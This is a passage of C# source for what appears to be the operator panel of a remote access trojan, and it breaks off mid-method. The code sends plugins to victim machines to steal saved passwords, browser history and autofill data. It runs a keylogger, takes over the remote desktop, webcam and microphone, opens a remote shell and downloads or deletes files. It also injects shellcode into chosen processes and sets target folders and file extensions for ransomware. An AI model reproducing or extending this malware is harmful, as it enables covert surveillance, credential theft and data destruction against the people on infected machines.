Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.dowloadFileDataGridView, this.guna2VScrollBar7, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.shellcodeDataGridView, this.guna2VScrollBar8, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.cpuDataGridView, this.guna2VScrollBar9, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.componentsDataGridView, this.guna2VScrollBar10, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.systemInformationDataGridView, this.guna2VScrollBar11, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.restorePointDataGridView, this.guna2VScrollBar12, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.pathRansomwareDataGridView, this.guna2VScrollBar13, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.extensionRansomwareDataGridView, this.guna2VScrollBar14, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.networkInformationDataGridView, this.guna2VScrollBar15, true); #endregion #region "TabImage" Utils.SetTabImage(this.mainGuna2TabControl, new Icon[] { Properties.Resources.icons8_database_backup, Properties.Resources.icons8_file_explorer, Properties.Resources.icons8_system_task, Properties.Resources.icons8_remote_desktop, Properties.Resources.icons8_control_panel, Properties.Resources.icons8_microsoft_admin, Properties.Resources.icons8_security_document, Properties.Resources.icons8_computer_virus }); Utils.SetTabImage(this.recoveryGuna2TabControl, new Icon[] { Properties.Resources.icons8_key, Properties.Resources.icons8_time_machine, Properties.Resources.icons8_text_input_form, Properties.Resources.icons8_single_line_text_input }); Utils.SetTabImage(this.remoteGuna2TabControl, new Icon[] { Properties.Resources.icons8_imac, Properties.Resources.icons8_video_call, Properties.Resources.icons8_microphone }); Utils.SetTabImage(this.fileManagerGuna2TabControl, new Icon[] { Properties.Resources.icons8_file_explorer, Properties.Resources.icons8_download }); Utils.SetTabImage(this.miscellaneousGuna2TabControl, new Icon[] { Properties.Resources.icons8_computer_virus, Properties.Resources.icons8_keyboard, Properties.Resources.icons8_information, Properties.Resources.icons8_question_mark, Properties.Resources.icons8_chat }); Utils.SetTabImage(this.memoryExecutionGuna2TabControl, new Icon[] { Properties.Resources.icons8_c_plus_plus, Properties.Resources.icons8_Binary_Code, Properties.Resources.icons8_source_code, Properties.Resources.icons8_visual_basic }); Utils.SetTabImage(this.ransomwareGuna2TabControl, new Icon[] { Properties.Resources.icons8_private_folder, Properties.Resources.icons8_settings, Properties.Resources.icons8_lock_file }); Utils.SetTabImage(this.informationGuna2TabControl, new Icon[] { Properties.Resources.icons8_electronics, Properties.Resources.icons8_ethernet_on }); #endregion Misc.DotNetCodeExecution.RowAdder("System.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("Microsoft.VisualBasic.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("System.Windows.Forms.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("System.Management.dll", this.importLibDataGridView); Misc.DotNetCodeExecution.RowAdder("System.Drawing.dll", this.importLibDataGridView); string extensionsPath = this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt"; if (!File.Exists(extensionsPath)) { File.WriteAllText(extensionsPath, Properties.Resources.extensions); } string[] extensions = File.ReadAllLines(extensionsPath); foreach (string extension in extensions) { int rowId = this.extensionRansomwareDataGridView.Rows.Add(); DataGridViewRow row = this.extensionRansomwareDataGridView.Rows[rowId]; row.Cells["Column47"].Value = extension; } string pathAffectecd = this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt"; if (File.Exists(pathAffectecd)) { string[] paths = File.ReadAllLines(pathAffectecd); foreach (string path in paths) { int rowId = this.pathRansomwareDataGridView.Rows.Add(); DataGridViewRow row = this.pathRansomwareDataGridView.Rows[rowId]; row.Cells["Column46"].Value = path; } } this.ResumeLayout(); } private void closeGuna2ControlBox_Click(object sender, EventArgs e) { FixClientHandlersBeforeLeaving(); StringBuilder pathAffected = new StringBuilder(); foreach (DataGridViewRow row in this.pathRansomwareDataGridView.Rows) { pathAffected.AppendLine(row.Cells[0].Value.ToString()); } File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt", pathAffected.ToString()); StringBuilder extensions = new StringBuilder(); foreach (DataGridViewRow row in this.extensionRansomwareDataGridView.Rows) { extensions.AppendLine(row.Cells[0].Value.ToString()); } File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt", extensions.ToString()); if ((passwordsDataGridView.Rows.Count > 0 || historyDataGridView.Rows.Count > 0 || keywordsDataGridView.Rows.Count > 0 || autofillDataGridView.Rows.Count > 0) && !Program.settings.autoSaveRecovery) { DialogResult r = MessageBox.Show("It seems that some data have not been saved. Do you want to save them before closing ?", "Data not saved", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Information); if (r == DialogResult.Yes) { Misc.Utils.ToCSV(this.passwordsDataGridView, this.ClientHandler.ClientPath + "\\Passwords\\" + Misc.Utils.DateFormater() + ".csv"); Misc.Utils.ToCSV(this.historyDataGridView, this.ClientHandler.ClientPath + "\\History\\" + Misc.Utils.DateFormater() + ".csv"); Misc.Utils.ToCSV(this.ClientHandler.ClientForm.keywordsDataGridView, this.ClientHandler.ClientPath + "\\Keywords\\" + Misc.Utils.DateFormater() + ".csv"); Misc.Utils.ToCSV(this.ClientHandler.ClientForm.autofillDataGridView, this.ClientHandler.ClientPath + "\\Autofill\\" + Misc.Utils.DateFormater() + ".csv"); this.Close(); } if (r == DialogResult.No) this.Close(); if (r == DialogResult.Cancel) return; } else this.Close(); } private void FixClientHandlersBeforeLeaving() { if (this.RemoteDesktopHandler != null) { mouseGuna2ToggleSwitch.Checked = false; keyboardGuna2ToggleSwitch.Checked = false; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); // this.remoteDesktopHandler.clientHandler.StartSendData(remoteViewerPacket); } if (this.RemoteWebCamHandler != null) { RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket); //this.remoteWebCamHandler.clientHandler.StartSendData(remoteCameraCapturePacket); } if (this.RemoteMicrophoneHandler != null) { RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF) { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket); } if (this.KeyloggerHandler != null) { KeylogPacket keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) }; ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Start"; File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", this.keystrokeRichTextBox.Text); } if (this.ChatHandler != null) { RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF) { BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Start"; } if (this.RemoteShellHandler != null) { StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket() { BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket); this.remoteShellGuna2Button.Text = "Start Session"; } } private void logoPictureBox_MouseDown(object sender, MouseEventArgs e) { Utils.MoveForm(this); } private void clientLabel_MouseDown(object sender, MouseEventArgs e) { Utils.MoveForm(this); } private void ClientForm_MouseLeave(object sender, EventArgs e) { this.passwordsDataGridView.ClearSelection(); this.passwordsDataGridView.CurrentCell = null; this.historyDataGridView.ClearSelection(); this.historyDataGridView.CurrentCell = null; this.fileManagerDataGridView.ClearSelection(); this.fileManagerDataGridView.CurrentCell = null; this.autofillDataGridView.ClearSelection(); this.autofillDataGridView.CurrentCell = null; this.keywordsDataGridView.ClearSelection(); this.keywordsDataGridView.CurrentCell = null; this.dowloadFileDataGridView.ClearSelection(); this.dowloadFileDataGridView.CurrentCell = null; this.cpuDataGridView.ClearSelection(); this.cpuDataGridView.CurrentCell = null; this.componentsDataGridView.ClearSelection(); this.componentsDataGridView.CurrentCell = null; this.systemInformationDataGridView.ClearSelection(); this.systemInformationDataGridView.CurrentCell = null; this.processDataGridView.ClearSelection(); this.processDataGridView.CurrentCell = null; } #endregion #region "Recovery" private void getPasswordToolStripMenuItem_Click(object sender, EventArgs e) { PasswordsPacket passwordsPacket = new PasswordsPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, passwordsPacket); } private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = passwordsDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { passwordsDataGridView.ClearSelection(); passwordsDataGridView.CurrentCell = null; } } } private void historyToolStripMenuItem_Click(object sender, EventArgs e) { HistoryPacket historyPacket = new HistoryPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, historyPacket); } private void historyDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = historyDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { historyDataGridView.ClearSelection(); historyDataGridView.CurrentCell = null; } } } private void autofillToolStripMenuItem_Click(object sender, EventArgs e) { AutofillPacket autofillPacket = new AutofillPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, autofillPacket); } private void keywordsToolStripMenuItem_Click(object sender, EventArgs e) { KeywordsPacket keywordsPacket = new KeywordsPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, keywordsPacket); } private void keywordsDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = keywordsDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { keywordsDataGridView.ClearSelection(); keywordsDataGridView.CurrentCell = null; } } } private void autofillDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = autofillDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { autofillDataGridView.ClearSelection(); autofillDataGridView.CurrentCell = null; } } } #endregion #region "File Manager" private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { DiskPacket diskPacket = new DiskPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, diskPacket); } private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e) { this.labelPath.Text = disksGuna2ComboBox.Text; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } private void goToolStripMenuItem_Click(object sender, EventArgs e) { if (fileManagerDataGridView.SelectedRows.Count == 1) { if (fileManagerDataGridView.SelectedRows[0].Cells[2].Value.ToString() == "Directory") { string newPath = labelPath.Text + fileManagerDataGridView.SelectedRows[0].Cells[1].Value.ToString() + "\\"; this.labelPath.Text = newPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } } private void backToolStripMenuItem_Click(object sender, EventArgs e) { if (this.labelPath.Text.Length > 3) { string[] Splitter = this.labelPath.Text.Split('\\'); string NewPath = null; for (var i = 0; i <= Splitter.Length - 3; i++) { NewPath += Splitter[i] + "\\"; } this.labelPath.Text = NewPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } private void fileManagerDataGridView_MouseDoubleClick(object sender, MouseEventArgs e) { if (fileManagerDataGridView.SelectedRows.Count == 1) { if (fileManagerDataGridView.SelectedRows[0].Cells[2].Value.ToString() == "Directory") { string newPath = labelPath.Text + fileManagerDataGridView.SelectedRows[0].Cells[1].Value.ToString() + "\\"; this.labelPath.Text = newPath; FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, fileManagerPacket); } } } private void downloadFileToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow file in fileManagerDataGridView.SelectedRows) { if (file.Cells[2].Value.ToString() == "Directory") continue; else { int rowId = this.dowloadFileDataGridView.Rows.Add(); DataGridViewRow row = this.dowloadFileDataGridView.Rows[rowId]; row.Cells["Column29"].Tag = 0;//bytes row.Cells["Column30"].Tag = 0;//% row.Tag = file.Tag;//full bytes size row.Cells["Column28"].Value = Misc.Utils.SplitPath(labelPath.Text + file.Cells[1].Value.ToString()); row.Cells["Column29"].Value = $"{row.Cells["Column29"].Tag} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}"; row.Cells["Column30"].Value = "0%"; row.Cells["Column10"].Value = labelPath.Text + file.Cells[1].Value.ToString(); //row.Cells["Column2"].Value = connectedPacket.HWID; } } } private void startDownloadFileToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow file in dowloadFileDataGridView.SelectedRows) { DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), DownloadFileTicket) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1), bufferSize = Program.settings.bufferSize }; DownloadList.Add(DownloadFileTicket, file); ClientHandler.StartSendData(this.ClientHandler, dowloadFilePacket); DownloadFileTicket += 1; } } private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow file in fileManagerDataGridView.SelectedRows) { if (file.Cells[2].Value.ToString() == "Directory") continue; else { string fullPath = labelPath.Text + file.Cells[1].Value.ToString(); DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), DeleteFileTicket) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; DeleteList.Add(DeleteFileTicket, file); ClientHandler.StartSendData(this.ClientHandler, deleteFilePacket); DeleteFileTicket += 1; } } } #region "Shortcuts" private void downloadSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOWNLOADS) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void desktopSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DESKTOP) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void documentsSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOCUMENTS) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void userProfileSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.USER_PROFILE) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } #endregion #region "Directory" private void addRansomwareToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow directory in fileManagerDataGridView.SelectedRows) { if (directory.Cells[2].Value.ToString() == "File") continue; else { string fullPath = labelPath.Text + directory.Cells[1].Value.ToString(); int rowId = pathRansomwareDataGridView.Rows.Add(); DataGridViewRow row = pathRansomwareDataGridView.Rows[rowId]; row.Cells["Column46"].Value = fullPath.ToString(); } } } #endregion private void fileManagerDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = fileManagerDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { fileManagerDataGridView.ClearSelection(); fileManagerDataGridView.CurrentCell = null; } } } private void dowloadFileDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = dowloadFileDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { dowloadFileDataGridView.ClearSelection(); dowloadFileDataGridView.CurrentCell = null; } } } #endregion #region "Process Manager" private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e) { ProcessManagerPacket processManagerPacket = new ProcessManagerPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, processManagerPacket); } private void killToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, processKillerPacket); } } private void suspendToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, suspendProcessPacket); } } private void resumeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, resumeProcessPacket); } } private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs e) { ProcessInjectionPacket processInjectionPacket; using (OpenFileDialog ofd = new OpenFileDialog()) { if (ofd.ShowDialog() == DialogResult.OK) { foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); byte[] payload = Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1); switch (Program.settings.processInjectionMethod) { case ProcessInjectionPacket.INJECTION_METHODS.CLASSIC: processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, processInjectionPacket); break; case ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW: processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) }; ClientHandler.StartSendData(ClientHandler, processInjectionPacket); break; } } } } } #endregion #region "Remote Desktop" private List keysPressed; internal bool enabledMouse { get; set; } internal bool enableKeyboard { get; set; } private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { if (captureGuna2ToggleSwitch.Checked) { RemoteDesktopHandler = new RemoteDesktopHandler(); keysPressed = new List(); this.RemoteDesktopHandler = new RemoteDesktopHandler(); RemoteDesktopHandler.BaseIp = this.ClientHandler.IP; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), BaseIp = this.ClientHandler.IP, HWID = this.ClientHandler.HWID, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; ClientHandler.StartSendData(this.ClientHandler, remoteViewerPacket); } else { mouseGuna2ToggleSwitch.Checked = false; keyboardGuna2ToggleSwitch.Checked = false; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF) { BaseIp = this.RemoteDesktopHandler.BaseIp, HWID = this.ClientHandler.HWID }; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e) { if (captureGuna2ToggleSwitch.Checked) { RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), BaseIp = this.ClientHandler.IP, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e) { if (captureGuna2ToggleSwitch.Checked) { RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), BaseIp = this.ClientHandler.IP, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } #region "Mouse" private void mouseGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { if (mouseGuna2ToggleSwitch.Checked) { this.enabledMouse = true; this.remoteDesktopPictureBox.MouseWheel += remoteDesktopPictureBox_MouseWheel; } else { this.enabledMouse = false; this.remoteDesktopPictureBox.MouseWheel -= remoteDesktopPictureBox_MouseWheel; } } private void remoteDesktopPictureBox_MouseWheel(object sender, MouseEventArgs e) { if (enabledMouse) { RemoteMousePacket mousePacket = new RemoteMousePacket(e.Delta == 120 ? RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP : RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN) { x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width, y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height, BaseIp = this.ClientHandler.IP }; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } private void remoteDesktopPictureBox_MouseDown(object sender, MouseEventArgs e) { if (enabledMouse) { RemoteMousePacket mousePacket = new RemoteMousePacket(RemoteMousePacket.MouseTypeAction.UNKNOWN); if (e.Button == MouseButtons.Left) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.LEFT_DOWN; if (e.Button == MouseButtons.Right) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.RIGHT_DOWN; if (e.Button == MouseButtons.Middle) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN; mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width; mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height; mousePacket.BaseIp = this.ClientHandler.IP; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } private void remoteDesktopPictureBox_MouseUp(object sender, MouseEventArgs e) { if (enabledMouse) { RemoteMousePacket mousePacket = new RemoteMousePacket(RemoteMousePacket.MouseTypeAction.UNKNOWN); if (e.Button == MouseButtons.Left) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.LEFT_UP; if (e.Button == MouseButtons.Right) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.RIGHT_UP; if (e.Button == MouseButtons.Middle) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_UP; mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width; mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height; mousePacket.BaseIp = this.ClientHandler.IP; ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } private void remoteDesktopPictureBox_MouseMove(object sender, MouseEventArgs e) { if (enabledMouse) { ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteMousePacket ( RemoteMousePacket.MouseTypeAction.MOVE_MOUSE, e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width, e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height ){ BaseIp = this.ClientHandler.IP } ); } } #endregion #region "Keyboard" private void keyboardGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { if (keyboardGuna2ToggleSwitch.Checked) { this.enableKeyboard = true; } else { this.enableKeyboard = false; } } private void ClientForm_KeyUp(object sender, KeyEventArgs e) { if (enableKeyboard) { if (!IsLockKey(e.KeyCode)) e.Handled = true; keysPressed.Remove(e.KeyCode); ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, false) { BaseIp = this.ClientHandler.IP }); } } private void ClientForm_KeyDown(object sender, KeyEventArgs e) { if (enableKeyboard) { if (!IsLockKey(e.KeyCode)) e.Handled = true; if (keysPressed.Contains(e.KeyCode)) return; keysPressed.Add(e.KeyCode); ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, true) { BaseIp = this.ClientHandler.IP }); } } private bool IsLockKey(Keys key) { return ((key & Keys.CapsLock) == Keys.CapsLock) || ((key & Keys.NumLock) == Keys.NumLock) || ((key & Keys.Scroll) == Keys.Scroll); } #endregion private void saveRemoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) { if (this.remoteDesktopPictureBox.Image != null) { string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString(); File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Screenshots\\" + Date + ".jpeg", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image)); } } #endregion #region "Remote WebCam" private void getWebCamToolStripMenuItem_Click(object sender, EventArgs e) { RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket { Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1) }; ClientHandler.StartSendData(this.ClientHandler, remoteCameraPacket); } private void captureWebCamGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { RemoteCameraCapturePacket remoteCameraCapturePacket; if (captureWebCamGuna2ToggleSwitch.Checked) { this.RemoteWebCamHandler = new RemoteWebCamHandler { HasAlreadyConnected = false }; if (camerasGuna2ComboBox.Items.Count > 0 && camerasGuna2ComboBox.SelectedItem != null) { remoteCameraCapturePacket = new 